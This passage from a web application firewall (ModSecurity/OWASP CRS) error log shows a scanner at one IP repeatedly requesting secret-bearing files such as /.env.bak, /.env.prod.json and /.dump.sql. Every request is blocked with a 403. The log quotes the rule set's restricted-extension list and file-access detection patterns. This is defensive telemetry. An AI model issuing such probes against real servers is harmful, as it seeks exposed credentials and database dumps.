&quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME3wAAAAg&quot;]
[Sun Mar 22 01:06:08.913216 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME3wAAAAg&quot;]
[Sun Mar 22 01:06:08.913381 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME3wAAAAg&quot;]
[Sun Mar 22 01:06:08.981003 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME4gAAAAg&quot;]
[Sun Mar 22 01:06:08.981246 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME4gAAAAg&quot;]
[Sun Mar 22 01:06:08.981443 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME4gAAAAg&quot;]
[Sun Mar 22 01:06:08.981592 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ab8ycLvc1sKRk16HHKME4gAAAAg&quot;]
[Sun Mar 22 01:06:09.003742 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME4wAAAAg&quot;]
[Sun Mar 22 01:06:09.003971 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME4wAAAAg&quot;]
[Sun Mar 22 01:06:09.004161 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME4wAAAAg&quot;]
[Sun Mar 22 01:06:09.004308 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME4wAAAAg&quot;]
[Sun Mar 22 01:06:09.026481 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5AAAAAg&quot;]
[Sun Mar 22 01:06:09.026680 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5AAAAAg&quot;]
[Sun Mar 22 01:06:09.026850 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5AAAAAg&quot;]
[Sun Mar 22 01:06:09.049079 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5QAAAAg&quot;]
[Sun Mar 22 01:06:09.049281 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5QAAAAg&quot;]
[Sun Mar 22 01:06:09.049449 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5QAAAAg&quot;]
[Sun Mar 22 01:06:09.071642 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5gAAAAg&quot;]
[Sun Mar 22 01:06:09.071853 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5gAAAAg&quot;]
[Sun Mar 22 01:06:09.072005 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5gAAAAg&quot;]
[Sun Mar 22 01:06:09.094142 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5wAAAAg&quot;]
[Sun Mar 22 01:06:09.094333 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5wAAAAg&quot;]
[Sun Mar 22 01:06:09.094502 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME5wAAAAg&quot;]
[Sun Mar 22 01:06:09.117174 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6AAAAAg&quot;]
[Sun Mar 22 01:06:09.117391 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6AAAAAg&quot;]
[Sun Mar 22 01:06:09.117543 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6AAAAAg&quot;]
[Sun Mar 22 01:06:09.139486 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6QAAAAg&quot;]
[Sun Mar 22 01:06:09.139711 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6QAAAAg&quot;]
[Sun Mar 22 01:06:09.139912 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6QAAAAg&quot;]
[Sun Mar 22 01:06:09.140056 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6QAAAAg&quot;]
[Sun Mar 22 01:06:09.162323 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6gAAAAg&quot;]
